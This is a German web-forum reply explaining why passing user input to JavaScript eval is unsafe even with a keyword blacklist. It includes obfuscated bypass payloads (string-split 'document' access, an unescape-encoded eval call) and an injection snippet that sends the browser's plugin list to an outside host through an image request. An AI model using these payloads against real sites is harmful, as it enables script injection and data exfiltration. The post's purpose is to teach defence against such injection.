Alexander (HH): Ist eval gefährlich?

Beitrag lesen

Moin Moin!

also ich muss zugeben, so richtig sehe ich die Gefahr nicht, die dadurch entsteht, dass Usereingaben an eval übergeben werden. Bei meinem Funktionsplotter lasse ich eval nur unter Math laufen (with Math)

Wie soll ich mir das vorstellen? So?

  
var s='user input';  
var x;  
with (Math) {  
  x=eval(s);  
}  
alert(x);  

Oder so?

  
var s='user input';  
var x=eval('with(Math) {'+s+'}');  
alert(x);  

Das bringt exakt gar nichts, siehe unten.

und prüfe, ob die Strings "alert" oder "document" in der Formel auftauchen.

Was ist mit "window"? "top"?

window['doc'+'um'+'ent']'wr'+'ite';
top['docu'+'ment']'wr'+'ite';

Was ist mit "eval"?

eval(unescape("%77%69%6E%64%6F%77%2E%61%6C%65%72%74%28%27%62%6F%6F%27%29"));

Wenn es da wirklich jemanden gelingt, Schadcode einzuschleusen, so läuft dieser doch auf dem Rechner des "Täters" ("ich habe 127.0.0.1 gehackt"). Sonst sollte da doch niemand etwas davon mit- oder abbekommen.

Doch. Der Schadcode hat Zugriff aufs DOM. Damit kann er weiteren Code nachladen und Informationen an "böse" Server übermitteln.

  
with(Math) {  
	var d=window['doc'+'um'+'ent'];  
	var b=d.getElementsByTagName('body')[0];  
	var im=d.createElement('img');  
	var a=[];  
	for (i=0; i<navigator.plugins.length; i++) {  
		a.push("p="+escape(navigator.plugins[i].name));  
	}  
	im.src="http://src.selfhtml.org/logo.gif?"+a.join(";");  
	b.appendChild(im);  
}  

Dieses Beispiel ist noch ziemlich blöd, es übermittelt (in einigen Browsern) die Liste der Plugins an src.selfhtml.org und bekommt dafür ein Bild. Mit der gleichen Technik ließe sich auch Schadcode nachladen, der maßgeschneidert für die vorhandenen Plugins ist. Und Lücken in Plugins sind nun wirklich nichts neues.

Vielleicht kann mich ja mal jemand aufklären, was in diesem Fall so alles passieren kann. Ich muss da zugeben, dass meine kriminelle Phantasie nicht ausgeprägt ist.

Genau das ist das Problem von Blacklists. Die Phantasie reicht oft nicht aus, um alle Angriffswege vorherzusagen.

Ich bin in diesem Posting auch nicht sonderlich kreativ gewesen, die gezeigten Techniken sind seit Jahren bekannt.

Alexander

--
Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so".